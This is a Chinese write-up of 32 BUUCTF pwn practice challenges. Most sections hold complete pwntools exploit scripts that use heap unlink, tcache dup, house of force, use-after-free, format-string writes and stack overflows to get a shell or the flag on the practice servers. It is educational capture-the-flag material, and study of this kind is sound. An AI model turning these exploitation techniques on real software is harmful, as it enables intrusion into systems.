BUUCTF-PWN-第四页writep(32题)
重感冒持续发热五天,拖到现在终于发第四页的题解了
axb_2019_heap
保护全开的菜单堆题
但是存在格式化字符串漏洞
add
如果 key = 43,那么大小可以自定义,不然最小只能是 0x80 ,这里开启了 PIE ,没法通过格式化字符串先泄露地址再修改
free
edit
其中的 get_input 函数存放 off by one
按正常操作,要先泄露基址
gdb 调试步进到格式化字符漏洞这
可以看到 __libc_start_main+240 和 main <- push rbp ,我们可以根据这个泄露 libcbase 和 程序基址
它们分别是第 15 个和第 19 个参数,可以通过格式化字符串漏洞泄露
其中 mian 函数在 0x116a start,所以偏移为 0x116a
注意这里我们是直接读内存的值,不是把内存的值作为地址读,所以要用 %n$p
def leak(): global libcbase, probase, note, free_hook, system p.sendlineafter(b'Enter your name: ', '%15$p.%19$p') p.recvuntil(b'0x') libcbase = int(p.recv(12), 16) - libc.sym['__libc_start_main'] - 240 p.recvuntil(b'0x') probase = int(p.recv(12), 16) - 0x116a print('libcbase -> ', hex(libcbase)) print('probase -> ', hex(probase)) system = libcbase + libc.sym['system'] free_hook = libcbase + libc.sym['__free_hook'] note = probase + 0x0202060
接下来利用 off by one 构造 fake chunk
add(0, 0x98, b'a') add(1, 0x98, b'a') add(2, 0x98, b'a') payload = p64(0) + p64(0x90) + p64(note-0x18) + p64(note-0x10) + p64(0)*14 + p64(0x90) + p8(0xa0) edit(0, payload) free(1)
可以看到成功伪造
接下来 free(1) ,那么 chunk1 就会和 fake chunk 合并
然后通过 unlink 修改了 chunk 0 的指针
接下来修改 chunk 0 的指针为 free_hook,并修改为 system
# free_hook -> system payload = p64(0)*3 + p64(free_hook) + p64(0x98) edit(0, payload) edit(0,p64(system))
exp
from pwn import * from struct import pack context.log_level='debug' context(os = 'linux', arch = 'amd64') #p = process('./pwn') p = remote('node4.buuoj.cn', 29374) elf = ELF('./pwn') libc = ELF('buu/libc-2.23-x64.so') def debug(): gdb.attach(p) pause() def add(index, size, content): p.sendlineafter(b'>> ', '1') p.sendlineafter(b'Enter the index you want to create (0-10):', str(index)) p.sendlineafter(b'Enter a size:\n', str(size)) p.sendlineafter(b'Enter the content: \n', content) def free(index): p.sendlineafter(b'>> ', b'2') p.sendlineafter(b'Enter an index:\n', str(index)) def edit(index, content): p.sendlineafter(b'>> ', b'4') p.sendlineafter(b'Enter an index:\n', str(index)) p.sendlineafter(b'Enter the content:', content) def leak(): global libcbase, probase, note, free_hook, system p.sendlineafter(b'Enter your name: ', '%15$p.%19$p') p.recvuntil(b'0x') libcbase = int(p.recv(12), 16) - libc.sym['__libc_start_main'] - 240 p.recvuntil(b'0x') probase = int(p.recv(12), 16) - 0x116a print('libcbase -> ', hex(libcbase)) print('probase -> ', hex(probase)) system = libcbase + libc.sym['system'] free_hook = libcbase + libc.sym['__free_hook'] note = probase + 0x0202060 leak() add(0, 0x98, b'a') add(1, 0x98, b'a') add(2, 0x98, b'a') add(3, 0x90, b'/bin/sh\x00') # unlink payload = p64(0) + p64(0x90) + p64(note-0x18) + p64(note-0x10) + p64(0)*14 + p64(0x90) + p8(0xa0) edit(0, payload) free(1) print('note -> ', hex(note)) # free_hook -> system edit(0, p64(0)*3 + p64(free_hook) + p64(0x98)) edit(0, p64(system)) #debug() # pwn free(3) p.interactive()
oneshot_tjctf_2016
先泄露基址,再跳转到 one_gadget
from pwn import * from struct import pack context.log_level='debug' context(os = 'linux', arch = 'amd64') #p = process('./pwn') p = remote('node4.buuoj.cn', 25566) elf = ELF('./pwn') libc = ELF('buu/libc-2.23-x64.so') def debug(): gdb.attach(p) pause() p.recv() p.sendline(str(elf.got['puts'])) p.recvuntil(b'0x') puts = int(p.recv(16), 16) libcbase = puts - libc.sym['puts'] one_gadget = libcbase + 0x45216 p.recv() p.sendline(str(one_gadget)) p.interactive()
护网杯_2018_gettingstart
栈溢出覆盖
#0x3FB999999999999A 0x7FFFFFFFFFFFFFFF p.recv() payload = b'a'*0x18 + p64(0x7FFFFFFFFFFFFFFF) + p64(0x3FB999999999999A) p.sendline(payload) p.interactive()
十进制小数转十六进制的好工具:http://www.binaryconvert.com/convert_double.html
wustctf2020_number_game
nc ,然后输入 -999999999
zctf2016_note2
菜单堆题
应该要利用的地方,因为没开 PIE
add 堆块大小最大为 0x80
show
free
edit
给出了两个选项,是要 overwirite 还是 append
其中,用作读的函数存在堆溢出,由于 i 是无符号数,当 a2 = 0 时,0 - 1 = -1 = 0xffffffffffffffff ,就能造出堆溢出
所以我们申请大小为 0 的 chunk 就能利用堆溢出修改
利用 unlink 修改 ptr 的数据
由于 edit 的存放写入溢出的函数的 size 被限制了大小,所以我们只能通过 add 0 大小的堆块实现堆溢出
首先构造三个 chunk ,利用 chunk0 构造 fake chunk 的 size 和 fd 和 bk ,chunk1 free 后再申请时利用堆溢出构造 fake chunk 下一个 chunk 的 prve size 和 size ,再 free chunk2,unlink 攻击就完成了
# unlink ptr = 0x602120 payload = p64(0) + p64(0xa1) + p64(ptr-0x18) + p64(ptr-0x10) add(0x80, payload) #index0 add(0, b'a') #index1 add(0x80, b'c') #index2 free(1) add(0, p64(0)*2 + p64(0xa0) + p64(0x90)) #index3 free(2)
可以看到被成功改写
之后就是泄露 libcbase 了,这里选择 atoi
# leak edit(0, 1, b'a'*0x18 + p64(elf.got['atoi'])) print(' atoi@got -> ', hex(elf.got['atoi'])) show(0) atoi = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) system = atoi - libc.sym['atoi'] + libc.sym['system']
然后就是 atoi -> system
# atoi -> system edit(0, 1, p64(system))
exp
from pwn import * from struct import pack context.log_level='debug' context(os = 'linux', arch = 'amd64') #p = process('./pwn') p = remote('node4.buuoj.cn', 27152) elf = ELF('./pwn') libc = ELF('buu/libc-2.23-x64.so') def debug(): gdb.attach(p) pause() def init(name, addr): p.sendlineafter(b'Input your name:\n', name) p.sendlineafter(b'Input your address:\n', addr) def add(size, content): p.sendlineafter(b'option--->>\n', '1') p.sendlineafter(b'content:(less than 128)\n', str(size)) p.sendlineafter(b'Input the note content:\n', content) def show(index): p.sendlineafter(b'option--->>\n', '2') p.sendlineafter(b'Input the id of the note:\n', str(index)) def edit(index, choice, content): p.sendlineafter(b'option--->>\n', '3') p.sendlineafter(b'Input the id of the note:\n', str(index)) p.sendlineafter(b'[1.overwrite/2.append]\n', str(choice)) p.sendlineafter(b'TheNewContents:', content) def free(index): p.sendlineafter(b'option--->>\n', '4') p.sendlineafter(b'Input the id of the note:\n', str(index)) def getshell(): p.sendlineafter(b'option--->>\n', '/bin/sh\x00') p.interactive() init(b'1', b'2') # unlink ptr = 0x602120 payload = p64(0) + p64(0xa1) + p64(ptr-0x18) + p64(ptr-0x10) add(0x80, payload) #index0 add(0, b'a') #index1 add(0x80, b'c') #index2 free(1) add(0, p64(0)*2 + p64(0xa0) + p64(0x90)) #index3 free(2) # leak edit(0, 1, b'a'*0x18 + p64(elf.got['atoi'])) print(' atoi@got -> ', hex(elf.got['atoi'])) show(0) atoi = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) system = atoi - libc.sym['atoi'] + libc.sym['system'] # atoi -> system edit(0, 1, p64(system)) #pwn getshell()
starctf_2019_babyshell
输入 shellcode 执行
但是对 shellcode 有检查
其中 unk_400978 是一段字符串,这个函数就是检测 shellcode 的字符是否都是 unk_400978 存在的
我们可以用 \x00 绕过,这里用到包含 \x00 的指令
00 5a 00 add BYTE PTR [rdx+0x0], bl
exp
from pwn import * from struct import pack context.log_level='debug' context(os = 'linux', arch = 'amd64') p = process('./pwn') #p = remote('node4.buuoj.cn', 25091) elf = ELF('./pwn') libc = ELF('buu/libc-2.23-x64.so') p.recv() shellcode = b'\x00\x5a\x00' + asm(shellcraft.sh()) p.sendline(shellcode) p.interactive()
还有另外一种做法
gyctf_2020_force
看到这题的名字就想到了 house of force
果然
add
show,应该是输出一段内存的内容
这里由于内容写最大可以写入 0x50 ,如果我们申请一个小点的 chunk ,就可以通过堆溢出 去修改 top chunk 的大小了
由于保护措施全开,先要想办法利用 unsorted bin attack 泄露基址
突然发现这里存在栈溢出漏洞
可以修改指向堆块的指针
但是没啥用,,emm
看 wp
这里学到到了一个新知识,当申请的 chunk 比 top chunk 还要大的时候,会再 mmap 一段内存,由于 add 会把 chunk 地址打印,所有我们可以据此泄露基址
可以看到偏移是 0x200ff0
# leak libcabse libcbase = add(0x200000, b'a') + 0x200ff0 print(' libcbase -> ', hex(libcbase)) realloc = libcbase + libc.sym['realloc'] malloc_hook = libcbase + libc.sym['malloc_hook']
然后是泄露堆块地址
# leak top_chunk_addr and house of force top_chunk_addr = add(0x10, p64(0)*3 + p64(0xffffffffffffffff)) + 0x10 print(' malloc_hook -> ', hex(malloc_hook)) offset = malloc_hook - top_chunk_addr - 0x30 add(offset, b'a') onegadget = libcbase + 0x4526a print(' onegadget -> ', hex(onegadget)) print(' realloc -> ', hex(realloc)) add(0x30, p64(0) + p64(onegadget) + p64(realloc + 0x10))
进行 house of force 将 top 移动到 malloc_hook 上方
可以看到成功修改
之后就是修改 realloc_hook 和 malloc_hook
exp
from pwn import * from struct import pack context.log_level='debug' context(os = 'linux', arch = 'amd64') #p = process('./pwn') p = remote('node4.buuoj.cn', 25091) elf = ELF('./pwn') libc = ELF('buu/libc-2.23-x64.so') def debug(): gdb.attach(p) pause() def add(size, content): p.sendlineafter(b'2:puts\n', '1') p.sendlineafter(b'size\n', str(size)) p.recvuntil('addr ') addr = int(p.recv(14), 16) print(' addr -> ', hex(addr)) p.sendafter(b'content\n', content) return addr def put(): p.sendlineafter(b'2:puts\n', '2') # leak libcabse libcbase = add(0x200000, b'a') + 0x200ff0 print(' libcbase -> ', hex(libcbase)) realloc = libcbase + libc.sym['realloc'] malloc_hook = libcbase + libc.sym['__malloc_hook'] # leak top_chunk_addr and house of force top_chunk_addr = add(0x10, p64(0)*3 + p64(0xffffffffffffffff)) + 0x10 print(' malloc_hook -> ', hex(malloc_hook)) offset = malloc_hook - top_chunk_addr - 0x30 add(offset, b'a') onegadget = libcbase + 0x4526a print(' onegadget -> ', hex(onegadget)) print(' realloc -> ', hex(realloc)) add(0x30, p64(0) + p64(onegadget) + p64(realloc + 0x10)) # pwn p.sendlineafter(b'2:puts\n', '1') p.sendlineafter(b'size\n', str(0x10)) p.interactive()
wustctf2020_name_your_dog
和第三页一道题类似,不过是在 bss 段上写而不是栈上,并且也存在后门函数
先想到的就是把 printf -> system
from pwn import * from struct import pack context.log_level='debug' context(os = 'linux', arch = 'amd64') p = process('./pwn') #p = remote('node4.buuoj.cn', 28502) elf = ELF('./pwn') libc = ELF('buu/libc-2.23-x64.so') p.recv() p.sendline(b'-7') p.recv() p.sendline(p32(elf.sym['shell'])) p.interactive()
actf_2019_babyheap
比较简单的一道堆题,UAF
from pwn import * from struct import pack context.log_level='debug' context(os = 'linux', arch = 'amd64') #p = process('./pwn') p = remote('node4.buuoj.cn', 25463) elf = ELF('./pwn') libc = ELF('buu/libc-2.27-x64.so') def debug(): gdb.attach(p) pause() def add(size, content): p.sendlineafter(b'Your choice: ', '1') p.sendlineafter(b'Please input size: \n', str(size)) p.sendafter(b'Please input content: \n', content) def free(index): p.sendlineafter(b'Your choice: ', '2') p.sendlineafter(b'Please input list index: \n', str(index)) def show(index): p.sendlineafter(b'Your choice: ', '3') p.sendlineafter(b'Please input list index: \n', str(index)) add(0x20, b'a') # index 0 add(0x20, b'a') # index 1 free(0) free(1) add(0x10, p64(0x602010) + p64(elf.sym['system'])) # index 2 show(0) p.interactive()
ciscn_2019_final_2
一道堆题
add 可以选择两种 chunk ,并且读入数据和复制数据,最长读 0x10
free 也是,粗略看应该存在 UAF
show
以及,程序开始的时候会读入 flag,并且把文件操作符 666 也指向 flag
并且是一道沙盒逃逸题目
可以看到并不是 orw 题目,但是好像也没什么能用的
这里在退出前会读入一段字符串然后输出,scanf 用的是 stdin = 1,如果我们将其改为 666 ,那么就能将 flag 的内容输出
由于保护全开,第一步肯定是通过 unsorted bin attack 泄露基址,由于存在 tcache bin ,所有我们要先利用 dup 填满 tcache bin
先利用 dup 泄露第一个申请的堆块的后四位
# leak heap_low4 add(1, 1) free(1) add(2, 2) add(2, 2) add(2, 2) add(2, 2) free(2) add(1, 1) free(2) show(2) p.recvuntil(b'your short type inode number :') heap_low4 = int(p.recvuntil(b'\n')[:-1], 10) - 0xa0 if heap_low4 < 0: heap_low4 += 0x10000 print(' heap_low4 -> ', hex(heap_low4))
然后同样利用 dup,覆盖第一个申请的堆块,这样我们就能利用复制数据的特性去修改 size 了
# dup -> change size add(2, heap_low4) add(2, 0) add(2, 0x90)
可以看到成功修改
接下来利用 dup 把 tcache bin 填满,好 free 到 unsorted bin
注意 shor_int 的 chunk 头是 第一个申请堆块的 chunk 头 上面 0x10 处,所以不能 free(2) ,要 free(1)
可以看到已经放入 unsorted bin 了
再用 show 泄露后 fd 的后八位
不知道为什么,如果第八次还是先 fee(1) 后再 add(2,2) ,这时候 fd 的泄露数据会出错,难道是 add(2,2) 的空间来自 unsotred bin ?的确是来自,但是 fd 又不会改变,为什么泄露的数据会有问题?
# dup -> leak libcbase for i in range(7): free(1) add(2, 2) free(1) show(1) p.recvuntil(b'your int type inode number :') fd_low8 = int(p.recvuntil(b'\n')[:-1], 10) if fd_low8 < 0: fd_low8 += 0x100000000 main_arena_low8 = fd_low8 - 96 print(' main_arena_low8 -> ', hex(main_arena_low8)) libcbase_low8 = main_arena_low8 - 0x10 - libc.sym['__malloc_hook'] print(' libcbase_low8 -> ', hex(libcbase_low8)) stdin_filno_low8 = libcbase_low8 + libc.sym['_IO_2_1_stdin_'] + 0x70 print(' stdin_filno_low8 -> ', hex(stdin_filno_low8))
然后,如果我们继续申请 0x20 大小的 chunk,就会从 unsorted bin 切割,并且由于 unsorted bin 下面的空间都被占了,所以会占用 unsorted bin 上面的空间,并且其含有 fd 等数据(不知道为什么会有这种情况)
还存放在 tcache bin 中
所以我们修改其后四位,使其指向 stdin
add(2, stdin_filno_low8 & 0xFFFF) add(1, 0) add(1, 666)
exp
from pwn import * from struct import pack context.log_level='debug' context(os = 'linux', arch = 'amd64') #p = process('./pwn') p = remote('node4.buuoj.cn', 28611) elf = ELF('./pwn') libc = ELF('buu/libc-2.27-x64.so') def debug(): gdb.attach(p) pause() def add(choice, content): p.sendlineafter(b'> ', b'1') p.sendlineafter(b'>', str(choice)) p.sendlineafter(b'your inode number:', str(content)) def free(choice): p.sendlineafter(b'> ', b'2') p.sendlineafter(b'>', str(choice)) def show(choice): p.sendlineafter(b'> ', b'3') p.sendlineafter(b'>', str(choice)) def get_flag(): p.sendlineafter(b'> ', b'4') p.sendlineafter(b'what do you want to say at last? \n', b'a') print(p.recv()) # leak heap_low4 add(1, 1) free(1) add(2, 2) add(2, 2) add(2, 2) add(2, 2) free(2) add(1, 1) free(2) show(2) p.recvuntil(b'your short type inode number :') heap_low4 = int(p.recvuntil(b'\n')[:-1], 10) - 0xa0 if heap_low4 < 0: heap_low4 += 0x10000 print(' heap_low4 -> ', hex(heap_low4)) # dup -> change size add(2, heap_low4) add(2, 0) free(1) add(2, 0x91) # dup -> leak libcbase for i in range(7): free(1) add(2, 2) free(1) show(1) p.recvuntil(b'your int type inode number :') fd_low8 = int(p.recvuntil(b'\n')[:-1], 10) if fd_low8 < 0: fd_low8 += 0x100000000 main_arena_low8 = fd_low8 - 96 print(' main_arena_low8 -> ', hex(main_arena_low8)) libcbase_low8 = main_arena_low8 - 0x10 - libc.sym['__malloc_hook'] print(' libcbase_low8 -> ', hex(libcbase_low8)) stdin_filno_low8 = libcbase_low8 + libc.sym['_IO_2_1_stdin_'] + 0x70 print(' stdin_filno_low8 -> ', hex(stdin_filno_low8)) # stdin 1 -> 666 add(2, stdin_filno_low8 & 0xFFFF) add(1, 0) add(1, 666) # get_flag get_flag()
超出我的水平了,没有完全弄懂,过几天在做一遍
judgement_mna_2016
读字符串去匹配 flag ,存在格式化字符串漏洞,值得注意的是 v3 是申请的栈空间
还要一个 load_flag 函数
不知道为啥,明明程序流程没看到一开始会加载 flag,但是程序一运行却自动调用了 load_flag
不管了,由于没开 PIE ,发现该地址上存放加载的 flag
无语,偏移我一个一个试到了 20+ ,结果 gdb 调试一看是 43
结果
payload = b'aaa%45$s' + p32(0x804A0A0) p.recv() p.sendline(payload) p.recv()
后来发现 flag 在 第 28 个偏移的位置
于是
ciscn_2019_en_3
菜单堆题
add 一个数组存放大小,一个数组存放指针
edit 和 show 都不能用
存在 UAF 漏洞
ubuntu 18 环境下的题,存在 tcache ,并且保护措施全开
首先是要先泄露基址
看到这个,只能读八个字节,但是通过puts可以泄露出一些东西,调试发现
这里是 setbuffer + 231 的地方,那么,libcbase 就能拿到了
# leak libcbase p.sendlineafter(b'What\'s your name?', 'w1nd') p.sendlineafter(b'Please input your ID.\n', 'aaaastop') p.recvuntil(b'stop') setbuffer_231 = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) libcbase = setbuffer_231 - 231 - libc.sym['setbuffer'] print(' libcbase -> ', hex(libcbase))
然后利用 dup 伪造 fake chunk ,劫持 free hook ,修改为 system
# dup -> free_hook => onegadget free_hook = libcbase + libc.sym['__free_hook'] system = libcbase + libc.sym['system'] add(0x60, b'a') # index0 add(0x60, b'/bin/sh\x00') # index1 free(0) free(0) fake_chunk = free_hook add(0x60, p64(fake_chunk)) add(0x60, p64(fake_chunk)) add(0x60, p64(system)) print(hex(free_hook), hex(system))
没想到,tcache 可以不需要考虑 chunk 头的 size,也就是不需要找 0x000000000000007f 这种去作 fake chunk 的地址,并且因为 tcache struct 的链表执行的是 chunk 的 user data ,无需偏移直接写就行
exp
from pwn import * from struct import pack context.log_level='debug' context(os = 'linux', arch = 'amd64') p = process('./pwn') #p = remote('node4.buuoj.cn', 25178) elf = ELF('./pwn') libc = ELF('buu/libc-2.27-x64.so') def debug(): gdb.attach(p) pause() def add(size, content): p.sendlineafter(b'Input your choice:', '1') p.sendlineafter(b'Please input the size of story: \n', str(size)) p.sendafter(b'please inpute the story: \n', content) def free(index): p.sendlineafter(b'Input your choice:', '4') p.sendlineafter(b'Please input the index:\n', str(index)) # leak libcbase p.sendlineafter(b'What\'s your name?', 'w1nd') p.sendlineafter(b'Please input your ID.\n', 'aaaastop') p.recvuntil(b'stop') setbuffer_231 = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) libcbase = setbuffer_231 - 231 - libc.sym['setbuffer'] print(' libcbase -> ', hex(libcbase)) # dup -> free_hook => onegadget free_hook = libcbase + libc.sym['__free_hook'] system = libcbase + libc.sym['system'] add(0x60, b'a') # index0 add(0x60, b'/bin/sh\x00') # index1 free(0) free(0) fake_chunk = free_hook add(0x60, p64(fake_chunk)) add(0x60, p64(fake_chunk)) add(0x60, p64(system)) print(hex(free_hook), hex(system)) # pwn free(1) p.interactive()
picoctf_2018_are you root
一道挺有意思的题,需要提权执行 get-flag 指令
show 指令展示登录名和权限等级
login指令,先申请一个 0x10 大小的 chunk ,之后的 strdup 也会根据字符串的大小申请 chunk
set-auth 指令,可以设置权限
get-flag 指令会输出 flag
reset 指令会 free strdup 申请的 chunk,而开始的 0x10 的 chunk 并没有 free
p.sendlineafter(b'> ', b'login aaaaaaaa'); p.sendlineafter(b'> ', b'set-auth 4');
可以看到 0x10 大小的 chunk 中,一个存放执行登录名的 chunk 的指针,一个存放账号权限等级
并且存放登录名的那个 chunk 被释放后会被作为 0x10 大小的 chunk 重新申请,而我们又可以控制 user data,可以提前伪造好账号权限
如图所示
exp
p.sendlineafter(b'> ', b'login aaaaaaaa' + p64(0x5)); p.sendlineafter(b'> ', b'reset'); p.sendlineafter(b'> ', b'login bbbb'); p.sendlineafter(b'> ', b'get-flag'); p.recv()
xman_2019_format
格式化字符串漏洞,不过这次是把字符串写在堆块里
然后切割字符串输出
由于存储在堆块中,并且存在一个后门函数,所以我们要控制 eip 指向后门函数
我们可以通过 ebp 那里去写 0xffffd088 地址处的值,将其修改为 0xffffd06c,接下来再去写 0xffffd088 的地址的值,修改的就是 0xfffd06c 地址的值,我们将其修改为后门函数的地址,这样就间接实现了 eip 的控制
修改 0xffffd088 处的值为 0xffffd06c 的 payload 应该是 %108%10$hhn
修改 0xffffd06c 处的值为 0x80485ab(后门函数地址) 的 payload 应该是 %34219c%18$hn
由于可以利用 | 分隔输出,所以完整 payload 应该是
%108%10$hhn%34219c%18$hn
不过由于我们不知道具体的地址,所以第一个 payload 是需要爆破一个字节的,当然我这里选择多用上面这个完整 payload 多打几次
exp
p.recv() p.sendline(b'%108c%10$hhn|%34219c%18$hn') p.recv() p.interactive()
picoctf_2018_buffer overflow 0
题目一开始让我 shh 登录
这是开始内核题了吗
原来不是,看了wp发现这道题是可以 ./vuln xxxx 来读字符串的
其中 argv 便是用来存储参数的
这里会把读入的 flag 存放 flag 变量中
11 是 无效内存访问信号,这表示,当发生无效内容访问时,会将 flag 写入 stderr ,然后 fflush 刷新缓冲区输出 flag
其中 vuln 函数有栈溢出
所以可以通过栈溢出来输出 flag
可以通过栈溢出利用 puts 函数直接输出 flag
payload = b'./vuln ' + b'a'*0x1c + p32(elf.sym['puts']) + b'a'*4 + p32(0x804A080) print(payload)
gyctf_2020_signin
菜单堆题
add 一个数组存放 0x70 大小的 chunk 的指针,一个数组存放该 chunk 的状态
edit 可以修改 0x50 大小的数据
free 中 存放指针的数组并没有清空,存在 UAF
backdoor 可以清空并申请一个 chunk ,如果 ptr 不为 0 ,则 getshell
明显要伪造 fake chunk 修改 ptr 的值
但是 edit 只能修改一次,如果能修改两次的话,那么就可以修改 free 堆块的 fd ,使其指向 ptr 了,再修改 ptr 的值
但是只能修改一次,所以需要用到 calloc 的特性 - > 不会分配 tcache chunk 中的 chunk , 还有 tcache bin 的特性 ->
在分配 fastbin 中的 chunk 时若还有其他相同大小的 fastbin_chunk 则把它们全部放入 tcache 中。
所以我们可以将 tcache bin 先填满,然后再额外申请释放一个同等大小的 chunk 到 fast bin,利用 UAF 修改 fd,之后再用 calloc 申请一个 chunk ,这时候我们伪造的 fd -> ptr 就进行了 tcache bin ,这个时候由于是头插法,所以 ptr 就被写入了 fd ,也就是存在值了,这时候就能 getshell 了
from pwn import * from struct import pack context.log_level='debug' context(os = 'linux', arch = 'amd64') p = process('./pwn') #p = remote('node4.buuoj.cn', 26383) elf = ELF('./pwn') libc = ELF('buu/libc-2.27-x64.so') def debug(): gdb.attach(p) pause() def add(index): p.sendlineafter(b'your choice?', '1') p.sendlineafter(b'idx?\n', str(index)) def edit(index, content): p.sendlineafter(b'your choice?', '2') p.sendlineafter(b'idx?\n', str(index)) p.send(content) def free(index): p.sendlineafter(b'your choice?', '3') p.sendlineafter(b'idx?\n', str(index)) def shell(): p.sendlineafter(b'your choice?', '6') p.interactive() for i in range(8): add(i) for i in range(8): free(i) add(8) edit(7, p64(0x4040C0 - 0x10)) shell()
注意要先申请一个 chunk ,好让 fake chunk 进入 tcache bin ,fake chunk 是 ptr - 0x10 是因为要把 ptr 作为 user data 的开头用,来存放 fd
bjdctf_2020_YDSneedGrirlfriend
菜单堆题
add 先申请一个 0x10 大小的 chunk ,前八个字节存放一个函数,后八个字节存放自定义大小 chunk 的指针
show 很正常
free 经典 UAF
ubuntu 16 的题,还有一个后门函数存在
记得已经做过两道类似的题了,就直接丢 exp 了
from pwn import * from struct import pack context.log_level='debug' context(os = 'linux', arch = 'amd64') #p = process('./pwn') p = remote('node4.buuoj.cn', 29225) elf = ELF('./pwn') libc = ELF('buu/libc-2.23-x64.so') def debug(): gdb.attach(p) pause() def add(size, content): p.sendlineafter(b'Your choice :', '1') p.sendlineafter(b'Her name size is :', str(size)) p.sendafter(b'Her name is :', content) def free(index): p.sendlineafter(b'Your choice :', '2') p.sendlineafter(b'Index :', str(index)) def show(index): p.sendlineafter(b'Your choice :', '3') p.sendlineafter(b'Index :', str(index)) add(0x20, b'123') #index0 add(0x20, b'123') #index1 free(0) free(1) add(0x10, p64(elf.sym['backdoor'])) #index2 show(0) p.interactive()
wdb_2018_3rd_soEasy
from pwn import * from struct import pack context.log_level='debug' context(os = 'linux', arch = 'i386') #p = process('./pwn') p = remote('node4.buuoj.cn', 29512) elf = ELF('./pwn') libc = ELF('buu/libc-2.23-x64.so') def debug(): gdb.attach(p) pause() p.recvuntil(b'gift->') buf = int(p.recv(10), 16) print(' buf -> ', hex(buf)) shellcode = asm(shellcraft.sh()) payload = shellcode.ljust(0x4c, b'\x00') + p32(buf) p.send(payload) p.interactive()
ciscn_2019_sw_1
格式化字符串,但是触发漏洞就没了
根据函数正常的执行流,函数执行前会调用init类初始化函数,执行后会调用fini.array[]数组里地址对应函数。所以如果我们将其改为main函数,那么可以再次输入参数“/bin/sh\x00”拿到shell
这里手写 payload 还是要有技巧的,由于要拼凑出输出字符从少到多的 payload,所以修改的值较大的地址可以往后排,并且为了顺利修改,也可以只修改后两个字节
main = 0x8048534 fini_array = 0x804979C system = 0x80483d0 printf_got = 0x804989c payload = b'%2052c%13$hn%31692c%14$hn%356c%15$hn' + p32(printf_got + 2) + p32(printf_got) + p32(fini_array) p.recv() p.sendline(payload) p.sendline(b'/bin/sh\x00') p.interactive()
suctf_2018_stack
ret2text 带 后门函数
但是环境是 ubuntu18 ,也恰好读不下 ret 指令
这样要通过偏移 后门函数的地址去对齐
只要跳过的指令不要影响 system('/bin/sh') 的执行就行
payload = b'a'*0x28 + p64(0x400677) p.recv() p.sendline(payload) p.interactive()
hitcon_2018_children_tcache
ubuntu 18 的菜单堆题
add
show
free 会用 0xda 填充 chunk
其中,这里的 strcpy 会在字符串末尾添加 \x00 ,导致 off by null
由于保护措施全开,所以肯定先要泄露基址了
先通过 chunk1 利用 off by null 置 chunk 2 的 size 的最后一字节为零,在利用 chunk1 伪造好 chunk2 的 prev size,然后 free chunk2 ,使其向前合并,造成堆块重叠,这时候再申请 0x410 的 chunk,那么这时候的 unsorted bin 的 头部就会和 原 chunk1 的头部重合,再show,就能泄露 fd 了。同样的,因为 index 同样指向同一个 chunk ,所以可以利用 dup 写 malloc_hook 为 one_gadget
add(0x410, b'a') #index0 add(0x68, b'b') #index1 add(0x4f0, b'c') #index2 add(0x10, b'd') #index3 free(0) free(1)
这时候我们要接着伪造 chunk2 的 size 和 prev size
但是由于 chunk1 被 free 时会被 0xda 填充,所以不好控制 prev size
这里有个巧妙的方法,我们可以重复申请释放chunk,每次申请和写的大小从 0x68 递减到 0x60,那么就能达到置 size 最后一字节为零 和 清空 prev size 的目的
for i in range(9): add(0x68 - i, b'a'*(0x68 - i)) #index 0 free(0)
然后是修改 prev size 为 0x490 ( 0x490 = 0x420 + 0x70 )
再将 chunk2 free ,就能向前合并造成堆块重叠了
add(0x68, b'a'*0x60 + p64(0x490)) #index 0 free(2)
然后是申请 0x410 大小的 chunk,将 unsorted bin 的 头部与原 chunk1 的头部重合,泄露基址
add(0x410, b'a') #index 1 show(0) main_arena_96 = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) libcbase = main_arena_96 - 96 - 0x10 - libc.sym['__malloc_hook'] print(' libcbase -> ', hex(libcbase)) malloc_hook = libcbase + libc.sym['__malloc_hook'] one_gadget = libcbase + 0x4f322
这个时候我们再申请一个 0x68 的 chunk,那么 index 0 和 index2 都会指向原本的 chunk1 ,就能 dup 任意地址写了
# malloc_hook -> one_gadget add(0x68, b'a') #index 2 free(0) free(2) add(0x68, p64(malloc_hook)) add(0x68, b'a') add(0x68, p64(one_gadget))
完整exp
from pwn import * from struct import pack context.log_level='debug' context(os = 'linux', arch = 'amd64') p = process('./pwn') #p = remote('node4.buuoj.cn', 25300) elf = ELF('./pwn') libc = ELF('buu/libc-2.27-x64.so') def debug(): gdb.attach(p) pause() def add(size, content): p.sendlineafter(b'Your choice: ', b'1') p.sendlineafter(b'Size:', str(size)) p.sendafter(b'Data:', content) def show(index): p.sendlineafter(b'Your choice: ', b'2') p.sendlineafter(b'Index:', str(index)) def free(index): p.sendlineafter(b'Your choice: ', b'3') p.sendlineafter(b'Index:', str(index)) # leak libcbase add(0x410, b'a') #index0 add(0x68, b'b') #index1 add(0x4f0, b'c') #index2 add(0x10, b'd') #index3 free(0) free(1) for i in range(9): add(0x68 - i, b'a'*(0x68 - i)) #index 0 free(0) add(0x68, b'a'*0x60 + p64(0x490)) #index 0 free(2) add(0x410, b'a') #index 1 show(0) main_arena_96 = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) libcbase = main_arena_96 - 96 - 0x10 - libc.sym['__malloc_hook'] print(' libcbase -> ', hex(libcbase)) malloc_hook = libcbase + libc.sym['__malloc_hook'] one_gadget = libcbase + 0x4f322 # malloc_hook -> one_gadget add(0x68, b'a') #index 2 free(0) free(2) add(0x68, p64(malloc_hook)) add(0x68, b'a') add(0x68, p64(one_gadget)) #pwn p.sendlineafter(b'Your choice: ', b'1') p.sendlineafter(b'Size:', b'10') p.interactive() #debug()
lctf2016_pwn200
先询问姓名和 id
这里有溢出,感觉可以通过这里的溢出任意修改内存
然后是菜单
add
free
该题的 NX 没开,应该就是要执行 shellcode
这里没注意到,当 v2 的输入长度为 0x30 的时候,会把 rbp 泄露
可以看到写入的字符串与泄露的 rbp 的偏移为 0x50
再加上之前可以任意写内存,我们可以令 free@got -> shellcode_addr
exp
